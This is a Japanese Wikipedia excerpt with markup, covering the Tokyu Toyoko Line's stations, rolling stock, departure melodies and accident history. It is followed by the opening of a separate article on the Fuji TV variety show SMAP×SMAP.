|style="text-align:center; background-color:#ccc; width:1em; line-height:1em;"|{{縦書き|地下|height=2.5em}}
|colspan="2" rowspan="2" style="text-align:left;"|[[大田区]]
|-
!TY09
|[[多摩川駅]]
|style="text-align:right;"|0.8
|style="text-align:right;"|9.0
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|東急電鉄:[[File:Tokyu MG line symbol.svg|18px|MG]] 目黒線 (MG09)・[[File:Tokyu TM line symbol 06.svg|18px|TM]] [[東急多摩川線]] (TM01)
|rowspan="5" style="text-align:center; background:#fff; color:#000; width:1em; letter-spacing:0.5em;"|{{縦書き|地上区間|height=8em}}
|-
!TY10
|[[新丸子駅]]
|style="text-align:right;"|1.3
|style="text-align:right;"|10.3
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
||東急電鉄:[[File:Tokyu MG line symbol.svg|18px|MG]] 目黒線 (MG10)
|rowspan="4" style="width:1em; text-align:center; letter-spacing:0.5em;"|{{縦書き|[[神奈川県]]|height=8em}}
|colspan="2" rowspan="3" style="text-align:left;"|[[川崎市]]<br />[[中原区]]
|-
!TY11
|[[武蔵小杉駅]]
|style="text-align:right;"|0.5
|style="text-align:right;"|10.8
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:lightgreen;"|●
|style="text-align:center; background-color:orange;"|●
|style="text-align:center; background-color:white;"|◇
||東急電鉄:[[File:Tokyu MG line symbol.svg|18px|MG]] 目黒線 (MG11)<br />東日本旅客鉄道:[[ファイル:JR_JN_line_symbol.svg|18px|JN]] [[南武線]] (JN 07)・[[ファイル:JR_JO_line_symbol.svg|18px|JO]] [[横須賀・総武快速線|横須賀線]] (JO 15)・[[ファイル:JR_JS_line_symbol.svg|18px|JS]] 湘南新宿ライン、[[相鉄・JR直通線]] (JS 15)
|-
!TY12
|[[元住吉駅]]
|style="text-align:right;"|1.3
|style="text-align:right;"|12.1
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
||東急電鉄:[[File:Tokyu MG line symbol.svg|18px|MG]] 目黒線 (MG12)<br />車両基地所在駅。構造の都合上、入庫は武蔵小杉駅で、出庫は下り日吉駅、上りは武蔵小杉駅で行う。
|-
!TY13
|[[日吉駅 (神奈川県)|日吉駅]]
|style="text-align:right;"|1.5
|style="text-align:right;"|13.6
|style="text-align:center; background-color:pink"|●
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:lightgreen;"|●
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|東急電鉄:[[File:Tokyu MG line symbol.svg|18px|MG]] 目黒線 (MG13)・[[ファイル:Tokyu_SH_line_symbol.svg|18px|SH]] '''東急新横浜線 (SH03) (直通運転:下記参照)'''<br />[[横浜市営地下鉄]]:[[File:Yokohama Municipal Subway Green Line symbol.svg|18px|G]] [[横浜市営地下鉄グリーンライン|グリーンライン]] (G10)
|style="width:1em; text-align:center;"|{{縦書き|[[横浜市]]|height=3.5em}}
|style="text-align:left;"|[[港北区]]
|-style="border-top:2px solid #8a1186;"
!colspan="4"|直通運転区間
|colspan="10"|
[[ファイル:Tokyu_SH_line_symbol.svg|18px|SH]] [[東急新横浜線]]・[[ファイル:Sotetsu_line_symbol.svg|18px|SO]] [[相鉄新横浜線]]経由 [[ファイル:Sotetsu_line_symbol.svg|18px|SO]] [[相鉄本線]][[海老名駅]]、[[ファイル:Sotetsu_line_symbol.svg|18px|SO]] [[相鉄いずみ野線]][[湘南台駅]]まで
|-
!TY14
|[[綱島駅]]
|style="text-align:right;"|2.2
|style="text-align:right;"|15.8
|style="text-align:center; background-color:pink;"|●
|rowspan="8" style="width:1em; text-align:center; vertical-align:top;" |{{縦書き|東急新横浜線へ直通|height=10em}}
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
| <!--新綱島駅は乗換駅とは扱われないため記載しない。新綱島駅の項目参照。-->
|rowspan="6" style="text-align:center; background:#fff; color:#000; width:1em; letter-spacing:0.5em;"|{{縦書き|地上区間|height=8em}}
|rowspan="8" style="width:1em; text-align:center; letter-spacing:0.5em;"|{{縦書き|神奈川県|height=8em}}
|rowspan="8" style="width:1em; text-align:center; letter-spacing:0.5em;"|{{縦書き|横浜市|height=6em}}
|rowspan="4" style="text-align:left;"|港北区
|-
!TY15
|[[大倉山駅 (神奈川県)|大倉山駅]]
|style="text-align:right;"|1.7
|style="text-align:right;"|17.5
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|
|-
!TY16
|[[菊名駅]]
|style="text-align:right;"|1.3
|style="text-align:right;"|18.8
|style="text-align:center; background-color:pink"|●
|style="text-align:center; background-color:lightgreen;"|●
|style="text-align:center; background-color:orange;"|●
|style="text-align:center; background-color:white;"|◇
|東日本旅客鉄道:[[ファイル:JR_JH_line_symbol.svg|18px|JH]] [[横浜線]] (JH 15)
|-
!TY17
|[[妙蓮寺駅]]
|style="text-align:right;"|1.4
|style="text-align:right;"|20.2
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|
|-
!TY18
|[[白楽駅]]
|style="text-align:right;"|1.2
|style="text-align:right;"|21.4
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|
|rowspan="3" style="white-space:nowrap;text-align:left;"|[[神奈川区]]
|-
!TY19
|[[東白楽駅]]
|style="text-align:right;"|0.7
|style="text-align:right;"|22.1
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|
|-
!TY20
|[[反町駅]]
|style="text-align:right;"|1.2
|style="text-align:right;"|23.3
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|
|rowspan="2" style="text-align:center; background-color:#ccc; width:1em;"|{{縦書き|地下区間|height=5em}}
|-
!TY21
|[[横浜駅]]
|style="text-align:right;"|0.9
|style="text-align:right;"|24.2
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:lightgreen;"|●
|style="text-align:center; background-color:orange;"|●
|style="text-align:center; background-color:white;"|●
|東日本旅客鉄道:[[ファイル:JR_JT_line_symbol.svg|18px|JT]] [[東海道線 (JR東日本)|東海道線]] (JT 05)・[[ファイル:JR_JO_line_symbol.svg|18px|JO]] 横須賀線 (JO 13)・[[ファイル:JR_JS_line_symbol.svg|18px|JS]] 湘南新宿ライン (JS 13)・[[ファイル:JR_JK_line_symbol.svg|18px|JK]] [[京浜東北線]] (JK 12)・[[ファイル:JR_JK_line_symbol.svg|18px|JK]] [[根岸線]] (JK 12)・[[ファイル:JR_JH_line_symbol.svg|18px|JH]] 横浜線<br />[[京浜急行電鉄]]:[[File:Number prefix Keikyū.svg|18px|KK]] [[京急本線|本線]] (KK37)<br />[[相模鉄道]]:[[File:Sotetsu line symbol.svg|16px|SO]] 本線 (SO01)<br />横浜市営地下鉄:[[File:Yokohama Municipal Subway Blue Line symbol.svg|18px|B]] [[横浜市営地下鉄ブルーライン|ブルーライン]] (B20)<br />[[横浜高速鉄道]]:[[File:Number prefix Minatomirai.svg|18px]] '''みなとみらい線 (MM01)(直通運転:下記参照)'''<br />
|style="text-align:left;"|[[西区 (横浜市)|西区]]
|-style="border-top:2px solid #0067c0;"
!colspan="4"|直通運転区間
|colspan="10"|
[[File:Number prefix Minatomirai.svg|18px]] [[横浜高速鉄道みなとみらい線|みなとみらい線]][[元町・中華街駅]]まで
|-
|}
{{Reflist|group="*"}}
* [[停車 (鉄道)#緩急接続|緩急接続]]が可能な駅:渋谷駅・自由が丘駅・菊名駅
* 通過待ちが可能な駅:元住吉駅・祐天寺駅
* 折り返し可能な駅:渋谷駅・自由が丘駅・武蔵小杉駅・菊名駅・横浜駅
=== 廃駅 ===
日付は最終営業日の翌日
* 1946年6月1日廃止:[[並木橋駅]](渋谷 - 代官山間)、[[新太田町駅]](東白楽 - 反町間)
* 1950年4月8日廃止:[[神奈川駅 (東急)|神奈川駅]](反町 - 横浜間)
** [[京急本線]]にある[[神奈川駅]]とは場所が異なっていた。
* 1953年4月1日廃止:[[工業都市駅]](武蔵小杉 - 元住吉間)
* 2004年1月31日の横浜 - 桜木町間廃止に伴い、以下の両駅が廃止された。
** [[高島町駅]]:横浜駅から0.8km
** [[桜木町駅]]:横浜駅から2.1km、高島町駅から1.3km
== 使用車両 ==
乗り入れ車両を含め、10両編成は優等列車で、8両編成は各停・急行で運用される。
どの列車がどの車両で運転されるかは列車番号で判別できる。2023年3月18日改正ダイヤでは、列車番号末尾アルファベットの「'''S'''」が東京メトロ車両(8両編成は01S - 19S/10両編成は21S - 91Sの奇数番号)、「'''M'''」が西武車両(02M - 34Mの偶数番号および71M - 75M)、「'''T'''」が東武車両(01T - 25Tの奇数番号)、「'''K'''」が東急車両(8両編成は横浜高速鉄道車両と共通運用で01K - 33K/10両編成は51K - 65K/ダイヤ乱れの場合は41K - 46K)、「'''G'''」が相鉄車両(91G - 95G)となっている。また、東横線・みなとみらい線内における6桁の列車番号の1桁目によっても判別が可能となっており(2桁目・3桁目は運用番号)、「'''0'''」が東急・横浜高速車両、「'''1'''」が西武車両、「'''7'''」が東京メトロ車両、「'''8'''」が東武車両、「'''9'''」が相鉄車両となっている(例えば「01K」は東横線・みなとみらい線内は「001」となる)。列車番号は『MY LINE 東京時刻表』(交通新聞社)などにより確認ができる。
2023年3月18日改正ダイヤでは、東急車が東京メトロの[[和光検車区]]に8両編成2本と10両編成1本、西武の[[武蔵丘車両基地]]に10両編成1本、東武の[[森林公園検修区]]に10両編成2本、相鉄の[[西谷駅]]に10両編成1本、[[かしわ台車両センター]]に10両編成2本がそれぞれ[[夜間滞泊|夜間留置]]となる「[[泊まりダイヤ|外泊運用]]」が組まれている。逆に、[[元住吉検車区]]には東京メトロ車の8両編成2本・10両編成2本と西武車1本、東武車2本がそれぞれ夜間留置となる運用が組まれている。
=== 自社車両 ===
全車両、[[元住吉検車区]]所属。
* [[東急5000系電車 (2代)#5050系4000番台|5050系4000番台]](10両編成で8両編成は検査や緊急時のみ。東急新横浜線・相鉄線直通列車は10両編成のみ運用。)
* [[東急5000系電車 (2代)#5050系|5050系]](8両編成)
* [[東急5000系電車 (2代)|5000系]](8両編成・田園都市線からの転属車)
各車両形式の詳細については、それぞれの車両記事を参照のこと。
<gallery>
Tokyu-Series5050-4000.jpg|5050系4000番台
Toukyu 5050kei 4000 Shibuya Hikarie.JPG|5050系「Shibuya Hikarie号」
Tokyu Series5050 4412-4512 Q-SEAT.jpg|5050系「Qシート」
Tokyu 5050 series 5170F (33666556868).jpg|5050系
</gallery>
=== 乗り入れ車両 ===
* [[横浜高速鉄道]](元住吉検車区所属)
** [[横浜高速鉄道Y500系電車|Y500系]](8両編成で東急車と共通運用。一度だけFライナーでの緊急運行実績がある)
* [[東京地下鉄]]([[和光検車区]]所属)
** [[東京メトロ17000系電車|17000系]](8・10両編成)
** [[東京メトロ10000系電車|10000系]](10両編成で8両編成は検査・緊急時のみ)
* [[東武鉄道]]([[森林公園検修区]]所属・10両編成)
** [[東武50000系電車|50070型]]
** [[東武9000系電車|9000系・9050系]]
* [[西武鉄道]]([[小手指車両基地]]・[[武蔵丘車両基地]]所属・10両編成)
** [[西武40000系電車|40000系]](デュアルシート車はS-TRAIN限定で通常は一般列車での運用無し。ロングシート車は一般列車で運用)
** [[西武6000系電車|6000系]]
* [[相模鉄道]]([[かしわ台車両センター]]所属・10両編成)
** [[相鉄20000系電車|20000系]](通常時は渋谷駅 - 日吉駅間のみで運用、一度だけダイヤ乱れが発生した際に元町・中華街駅まで入線した運行実績がある)
<gallery>
Yokohama-Series-Y502.jpg|横浜高速鉄道Y500系
Tokyo Metro 17000 series Tōkyū Tōyoko Line 20210423.jpg|東京メトロ17000系
Tokyo metro 10000 kei Fliner.JPG|東京メトロ10000系
Touyoko line tobu 50070kei.JPG|東武50070型
Tobu-Series9151F.jpg|東武9050系
Seibu-Series40000 40053.jpg|西武40000系50番台
Seibu-Series6000-6055F.jpg|西武6000系
Sagami-Railway-21000-20103F.jpg|相鉄20000系
</gallery>
==== その他 ====
* 東京地下鉄
** [[東京メトロ13000系電車|13000系]]([[鷺沼車両基地|鷺沼工場]]への入出場時に東横線を走行する。)
<gallery>
Tokyo-Metro-Series13000-13111.jpg|東京メトロ13000系
</gallery>
=== 過去の車両 ===
==== 自社車両 ====
* [[東京横浜電鉄キハ1形気動車|キハ1形]](東京横浜電鉄時代)
* [[東急3000系電車 (初代)|初代3000系]]( - 1972年8月<ref name="RF1981-7"/>)
* [[東急5000系電車 (初代)|初代5000系]](1954年12月16日<ref name="tokyu1208"/> - 1980年3月下旬<ref name="Fan1980-7"/>)
* [[東急5200系電車|5200系]](1958年12月1日<ref name="tokyu1213"/> - 1980年3月下旬<ref name="Fan1980-7"/>。転属で抜けた期間がある)
* [[東急6000系電車 (初代)|初代6000系]](1960年4月1日<ref name="tokyu1214"/> - 1981年春。転属で抜けた期間がある)
* [[東急7000系電車 (初代)|初代7000系]](1962年1月27日<ref name="tokyu1216"/> - 1991年6月上旬<ref name="RM1991-9"/>)
* [[東急7200系電車|7200系]](1969年4月 - 1984年春)
* [[東急8000系電車|8000系]](1969年11月30日<ref name="tokyu1225"/> - 2008年1月13日)
* [[東急8500系電車|8500系]](1976年春 - 1991年3月。田園都市線に転属後、2023年1月25日に運用終了)
* [[東急8090系電車|8090系]](大井町線に転属後、2019年2月27日に運用終了)
* [[東急8090系電車|8590系]](田園都市線・大井町線に転属後、2019年2月27日に運用終了)
* [[東急9000系電車|9000系]](1986年3月9日<ref name="PIC-1994-12"/> - 2013年3月15日。大井町線に転属)
* [[東急1000系電車|1000系]](1989年12月26日<ref name="PIC1989-4"/> - 2013年3月15日。初代7000系に続く、日比谷線直通用。2014年5月10日に[[東急1000系電車#1000系1500番台|1500番台]]に改番され、池上線・東急多摩川線に転属)
* [[東急2000系電車|2000系]](1993年2月3日<ref name="PIC-1993-7"/> - 1993年11月1日<ref name="PIC-1994-3"/>。2019年2月11日に[[東急2000系電車#9020系|9020系]]に改番され、大井町線に転属)
* [[東急3000系電車 (2代)|3000系]](1999年4月16日 - 2000年1月15日。目黒線に転属)
* [[東急5000系電車 (2代)#5080系|5080系]](目黒線から「みなとみらい号」として)
<gallery widths="200" heights="140px">
Tokyu8000 kabuki.JPG|8000系
Tokyu 8090 approaching Tamagawa En.jpg|8090系
Tokyu 8500 approaching Tamagawa En.jpg|8500系
Tokyu8590.jpg|8590系
Tokyu9000.jpg|9000系
Tokyu1000 8cars.jpg|1000系
Tokyu-3000-Toyoko.jpg|3000系
</gallery>
==== 乗り入れ車両 ====
* [[帝都高速度交通営団]](現・東京地下鉄)
** [[営団3000系電車|3000系]](日比谷線。1994年6月10日に東横線への直通運転を終了<ref name="RAILFAN510"/>)
** [[営団03系電車|03系]](日比谷線。1988年7月1日 - 2013年3月15日。直通運転終了後も鷺沼工場への入場時に東横線内を走ることがあった。)
** [[営団7000系電車|7000系]](副都心線。2012年9月28日(先行営業運転) - 2022年4月18日に運用終了)
** [[営団9000系電車|9000系]]([[東京湾大華火祭]]臨時列車として武蔵小杉 - 日吉間のみ)
* [[東京都交通局]]
** [[東京都交通局6300形電車|6300形]](臨時列車「みなとみらい号」のみ、2000年9月22日より2007年9月までは回送列車でも運転)
* [[埼玉高速鉄道]]
** [[埼玉高速鉄道2000系電車|2000系]](臨時列車「みなとみらい号」のみ)
<gallery widths="200" heights="140px">
TRTA 3000 series set 3078 Naka-Meguro 19770625.jpg|営団3000系
Tokyometro03.jpg|東京メトロ03系
Tokyo-Metro-Series7000 7130.jpg|東京メトロ7000系
</gallery>
==== その他 ====
* [[伊豆急行]]
** [[伊豆急行100系電車|100系]] - 1961年に東急車輛製造にて新造された後、伊豆急行線開業までの間元住吉検車区に配置され、伊豆急行の運転士の慣熟訓練と開業の宣伝を兼ね東横線内を連日走行した。
** [[伊豆急行2100系電車|2100系]](リゾート21) - 1986年に田園都市線開業20周年企画と車両のPRを兼ねて2次車(R-2編成)が<ref name="izukyu-ayumi">[http://www.izukyu.co.jp/kanko/50th/ayumi/indexi.html 伊豆急行50周年-伊豆急行線のあゆみ] - 伊豆急行</ref>、1988年には「リゾートエクスプレス今井浜'88」として3次車(R-3編成)が<ref name="izukyu-ayumi" />東横線・[[東急目蒲線|目蒲線]]・[[東急大井町線|大井町線]]・[[東急田園都市線|田園都市線]]を走行した経歴がある。
== 発車ベルメロディ ==
東横線ではほとんどの駅が発車ブザーを使用しているが、一部の駅では[[発車メロディ|発車ベルメロディ]]が使用されている。渋谷駅は地下化当初よりオリジナル曲([[向谷実]]作曲)を、新丸子駅・武蔵小杉駅は[[川崎フロンターレ]]の応援歌の編曲を採用している。2023年3月6日からは[[#ワンマン運転|ワンマン運転]]に向けて全駅で発車メロディを車両から[[乗車促進音|乗降促進音]]を鳴らす方式に順次変更している<ref name="tokyu20230224" /><ref group="注釈">ただし、ワンマン運転開始以降も始発列車・退避列車・回送列車の発車で稀に駅から発車ブザー・発車メロディが鳴ることがある。</ref>。
{| class="wikitable"
|-
!駅名!!渋谷、和光市方面(上り)!!横浜、元町・中華街方面(下り)
|-style="border-top:3px solid #da0442;"
|渋谷駅
|5:おとぎのワルツ<br />6:愛ステーション
|3・4・5:Departing from New Shibuya Terminal<ref group="注釈">5番線から発車する東横線列車も「Departing from New Shibuya Terminal」を使用。</ref><ref name="tokyu130228">[http://www.tokyu.co.jp/contents_index/guide/news/130228-1.html 東横線・東京メトロ副都心線 相互直通運転開始記念!東横線渋谷駅にオリジナルベルメロディを導入します] - 東京急行電鉄、2013年2月28日</ref>
|-
|新丸子駅<ref name="tokyu121128">[http://www.tokyu.co.jp/contents_index/guide/news/121128-3.html 12月6日(木)から、川崎フロンターレの応援歌が東横線武蔵小杉駅・新丸子駅の発車ベルメロディに!] - 東京急行電鉄、2012年11月28日</ref>
|4:FRONTALE RABBIT
|1:FRONTALE RABBIT
|-
|武蔵小杉駅<ref name="tokyu121128" />
|4:轟け、青き魂
|1:轟け、青き魂
|}
* 上表の数字は各駅の番線を表す。
発車ベルメロディではないが、2013年3月15日までの渋谷駅地上時代には到着ベルメロディとして渋谷駅1 - 4番線すべてで下記のものが期間限定で使用された。
*[[コカ・コーラ]]5トーン「Open Happiness」(2011年3月1日 - 8月31日<ref group="注釈">2012年12月頃も使用されていた。</ref>)<ref>[http://www.tokyu.co.jp/contents_index/guide/news/110228.html コカ・コーラと東急電鉄が、期間限定でスペシャルなコラボレーションを展開!世界で親しまれているコカ・コーラの5トーンが、渋谷駅の到着予告放送に 東急電鉄としては初の試み、半年間限定で到着予告放送を特別仕様に変更 ティーンをはじめ1日約45万人が行き交う日本有数のターミナル駅に、ハッピーをお届け] - 東京急行電鉄、2011年2月28日</ref>
*Final approach(2013年3月1日 - 15日)<ref name="tokyu130228" />
== 特記事項 ==
=== ワンマン運転 ===
東急新横浜線の開通ならびに直通開始に合わせて東横線およびみなとみらい線内でのワンマン運転が順次実施され<ref name="tokyu20221124" />、2023年中にワンマン運転に完全移行した。移行中は安全確認のため車掌が引き続き乗務し、ドア扱いは運転士が行っていた<ref>{{Cite news|title=相鉄・東急新横浜線の開業で「乗る電車に混乱」問題勃発、利用者困惑の実態|newspaper=ダイヤモンド・オンライン|date=2023-03-27|url=https://diamond.jp/articles/-/320107?page=2|accessdate=2023-03-28}}</ref>。
=== ドアカット ===
かつては以下の3か所の駅で[[ドアカット]]が行われていたが、現在はすべて解消されている。
; 代官山駅
: 渋谷隧道にかつては隣接していた[[代官山駅]]でホーム全長の不足から、20m車6両以上の編成・18m車8両編成でドア締め切り(ドアカット)措置が採られたが、現在は駅改修工事の完成により渋谷2号踏切が廃止、ホームが渋谷隧道内に延長されたため解消されている。
; 綱島駅
: 地上ホーム時代には駅南側に県道子母口綱島線の踏切があるためにホームが延長できず、6両編成の場合は横浜方の先頭車両1両をドアカットしていた。その後、同駅の高架化により解消された。
; 菊名駅
: [[菊名駅]]では、駅の渋谷方に踏切があり、また横浜方は急曲線となっていたため、ホームの長さが150m弱しかなかった。その結果、東横線の車両を20m車両8両編成へと増強した時に渋谷方1両目のホームが不足したため、ドアカット措置がとられた(なお、18m車両8両編成の[[東京メトロ日比谷線|日比谷線]]直通列車はホームの長さが足りるためドアカットはなかった)。同駅は各駅停車が急行の待ち合わせをする駅であったために停車時間が長く、列車がはみ出す渋谷方の踏み切りは「開かずの踏切」となり、問題になっていた。この措置は、菊名駅 - [[大倉山駅 (神奈川県)|大倉山駅]]間の一部が高架化された際に踏切を廃止してホームを延伸することにより解消した。
=== 事故 ===
* 1986年3月13日 - [[横浜駅]](当時は地上駅)構内にある急曲線カーブ部分において[[元住吉駅]]発[[桜木町駅]]行急行電車(9000系9001編成)の最後尾が脱線したが、負傷者はいなかった。この事故は「横浜駅電車脱線事故」とも呼ばれることがある。
* 2001年7月6日 - ラッシュ時の[[渋谷駅]]で階段の天井からモルタル塊(縦約4m・横約60cm)が落下して通行人に当たり、4名が負傷する事故があった。当時階段の一部を[[エスカレーター]]にする工事の最中だったという。
* 2014年2月15日 - [[元住吉駅]]で、停車していた下り普通電車(8両編成)に後続の普通電車(8両編成)が追突し<ref>{{Cite news|title=東急東横線で電車追突、18人けが 元住吉駅|newspaper=日本経済新聞|date=2014-02-15|url=http://www.nikkei.com/article/DGXNASFK1500B_V10C14A2000000/|accessdate=2014-02-15|agency=共同通信|location=[[東京都]][[千代田区]]}}</ref>、72人{{Refnest|group="注釈"|当初は18人だったが最終的には72人負傷となった。}}が怪我を負った。事故車両は全て廃車された(詳細は「[[日本の鉄道事故_(2000年以降)#東急東横線元住吉駅追突事故|東急東横線元住吉駅追突事故]]」を参照)。
<!-- 事件・事故について執筆される方へ。提案がありますので、ノートを参照していただければ幸いです。 -->
=== その他 ===
* 音楽グループ[[SUPER BELL"Z]]が歌う「MOTER MAN 中華特急みなとみらい」(「MOTO(e)R MANでGO!」「The Very Best of MOTO(e)R MAN」に収録)は、曲中、列車が横浜駅に到着する際、人間の声に敏感に反応する「DJ - ATC」という架空の制御装置により運行されている旨のアナウンスがあり、運転士のくしゃみで作動してしまう。また、2008年5月には東横線開通80周年記念として[[向谷実]]とのコラボレーションアルバム「東横特急」が発売された。<!-- 渋谷 - 横浜間開通(1928年)80周年の意味なので「開通」でよいかと。東急公式サイトでの表記では「開通」。開業では最初の区間が開業した1926年から80年後の2006年が80周年となる -->
* 2010年に放映された[[ロッテ]]の[[チューインガム]]CM「[[Fit's|Fit's LINK]] 『電車』篇」では「ガムの味が40分継続する」というテーマから、東横線の急行で渋谷駅 - 元町・中華街駅(37分)、徒歩3分で中華街に到着するという紹介をされている。
* プロ野球[[東京ヤクルトスワローズ]]の本拠地である[[明治神宮野球場]]と横浜ベイスターズ(現・[[横浜DeNAベイスターズ]])の本拠地である[[横浜スタジアム]]が終端駅近くにあることから、2007年から両チームの対戦において東急グループ各社協賛の「[[東横線ダービー]](東横シリーズ)」が行われ、期間中はPR列車も運行されたが、東横線を両球場へのアクセス路線として利用するファンがほとんど見られなかったことなどから、2011年現在、目立ったPR活動は行われなくなった。詳細は「[[日本のダービーマッチ#プロ野球]]」参照。一方で、2013年3月に[[埼玉西武ライオンズ]]が本拠地を置く[[西武ドーム]]最寄りとなる[[西武球場前駅]]への乗り入れが実現できたこともあり、5月から6月までの[[セ・パ交流戦]]期間中には西武6000系を使用したライオンズとベイスターズのラッピング電車を期間限定で運行した。
* [[欅坂46]]のデビュー曲「[[サイレントマジョリティー (曲)|サイレントマジョリティー]]」のミュージックビデオは、旧渋谷駅再開発工事の現場(現・[[渋谷ストリーム]])で撮影された。
== 脚注 ==
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=== 注釈 ===
{{Reflist|group="注釈"}}
=== 出典 ===
{{Reflist}}
== 参考文献 ==
* {{Cite book|和書|title=東京急行電鉄50年史|publisher=東京急行電鉄|url=https://www.tokyu.co.jp/history/history_50/|date=1973-04-18|ref=50th}}
== 関連項目 ==
{{Commonscat|Tōkyū Tōyoko Line}}
* [[日本の鉄道路線一覧]]
* [[神奈川東部方面線]]
* [[東京横浜電鉄新宿延伸計画]]
* [[多摩川橋梁 (東急東横線)|東急東横線多摩川橋梁]]
* [[東横フラワー緑道]] - 東横線の地下化により生じた、東白楽駅 - 横浜駅間の線路跡に整備された[[緑地#緑道|緑道]]。
* [[Train Simulator+電車でGO! 東京急行編]] - 東横線が収録されており(当時の渋谷 - 桜木町間)、運転することができる。
== 外部リンク ==
* [https://www.tokyu.co.jp/railway/data/train_line/ty.html 東横線路線情報] - 東急電鉄
* [https://www.tokyu.co.jp/railway/station/ty.html 東横線各駅情報] - 東急電鉄
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| https://ja.wikipedia.org/wiki/%E6%9D%B1%E6%80%A5%E6%9D%B1%E6%A8%AA%E7%B7%9A |
6,780 | SMAP×SMAP | 『SMAP×SMAP』(スマップスマップ、通称:スマスマ)は、関西テレビ(カンテレ)とフジテレビの共同制作で、1996年(平成8年)4月15日から2016年(平成28年)12月26日までの20年と9か月にわたってフジテレビ系列で毎週月曜22:00 - 22:54(JST)に放送されていたバラエティ番組である。男性アイドルグループ・SMAPの冠番組であった。
番組タイトルの『SMAP×SMAP』は、アメリカ映画『ニューヨーク・ニューヨーク』から由来し、ジャニーズ事務所社長のジャニー喜多川が同映画から命名した。
当番組は1996年3月25日までテレビ東京系列で放送されていた『愛ラブSMAP!』の事実上の後継番組である。番組前半は料理コーナー「BISTRO SMAP」、番組後半はコントや音楽コーナー「S-Live」などから構成されていた。
年数回、メンバーの特別企画や特別編(関西テレビ制作)、生放送スペシャルなどが放送されていた。番組初期は、生放送を新春・春・夏と3回程度行ってきたが、2000年代後半頃からは新春のみ行われていた。また、年末では1997年12月31日に放送された年越しのスペシャルと、2000年12月の2週に渡っての『20世紀のスマスマベスト30』、2005年(平成17年)12月26日に『もう一度見たい名場面リクエストスペシャル』が放送された。2010年代に入ってからは月に1回 - 3回程度、15分拡大版が放送された。2010年頃までは祝日や振替休日にあたる日に主に行っていたが、2011年頃からは祝日よりも平日のほうが視聴率が良かったこともあり、平日でも拡大版が増えた。そのため、2012年以降は祝日また振替休日は通常回になることが多かった。改編期には、21:00 - 23:18(23:24)の2時間半の拡大版が放送される傾向が多かった。
本番組は、関西テレビとフジテレビの共同制作である。関西テレビ側は、スポンサーセールス・全国系列局への番組送出・一部スタッフの支援・CM出し・提供クレジットの表示・アナウンス読みを担当する。一方、フジテレビ側は企画・収録・本編送りを担当する。生放送のスペシャルに関しては河田町→台場のフジテレビの本社スタジオからの映像を、西天満→扇町の関西テレビ本社マスターを一度経由してからネット回線に送出していた(そのため、番組中のテロップはフジテレビの副調整室から、提供クレジットは関西テレビのマスターからそれぞれ出していた)。番組が終了した現在も『R-1グランプリ』決勝戦において同様にこの手法を行っている。ただし、スペシャル回の一部、その年の年内最後、最初の放送 、最終回など一部放送回はフジテレビの本社マスターから直接番組送出を行っていた。
このような体制となった経緯について、番組開始当時のゼネラルプロデューサー(制作)の佐藤義和によれば、以前より『夢がMORI MORI』や『SMAPのがんばりましょう』を制作してきたフジテレビが、1995年10月よりSMAPをメインとするバラエティ番組を開始させる計画だったところ、当時の自社制作枠に空きが無いため実現しなかったことに起因する。これに対し、当時のフジテレビ編成局長重村一の考案で、関西テレビ制作の火曜22時バラエティ番組枠を月曜22時枠に移動させた(同時に枠交換という形で、それまでの関西テレビ制作月曜22時ドラマ枠は、火曜22時枠へ移動。その後関西テレビ制作の連続ドラマ枠は2021年10月より再び本番組が放送されていた月曜22時に移動した。)。その上で、関西テレビの制作枠にフジテレビが下請けになるスキームをとることで新番組の放送枠を確保した。本番組の発局が関西テレビなのはこのためで、制作クレジットも「関西テレビ、フジテレビ」→「8 カンテレ、フジテレビ」となっている(一貫して目玉マークはなし)。
2004年(平成16年)3月には、番組内のCM放送時にサブリミナル効果を引き起こす映像があったと『週刊現代』が報じた。これは関西テレビが番組の送出を行っており、フジテレビは関西テレビからの送出を受ける立場であるため、放送されるCMも関西テレビのものが基準となる。しかし、地域によっては同じスポンサーでもCMを変えて放送することがあるため、その切り替え時に技術上発生したものである。この記事が掲載されたことにより、同月15日、関西テレビは緊急会見を行った。当時の取締役千草宗一郎は「事実に反する記載で誹謗中傷にあたる」と反論。また、同誌編集長あてに、謝罪と回答を求める文書を内容証明郵便で送付したことを明らかにした。『週刊現代』からの事前の質問に対し関西テレビも同様に回答したというが、『週刊現代』は「サブリミナル疑惑」と誤った情報を掲載した。
2016年4月には、番組放送開始20周年を迎えたが、先述の通り2016年12月をもって終了となり、放送期間は約20年9ヶ月となった。これは、フジテレビ系列のゴールデンタイム・プライムタイムにレギュラー放送されているバラエティ番組では、『とんねるずのみなさんのおかげでした』(1988年10月 - 2018年3月)、『奇跡体験!アンビリバボー』(1997年10月 - )、『めちゃイケてるッ!』(1996年10月 - 2018年3月)に続く放送期間であった。
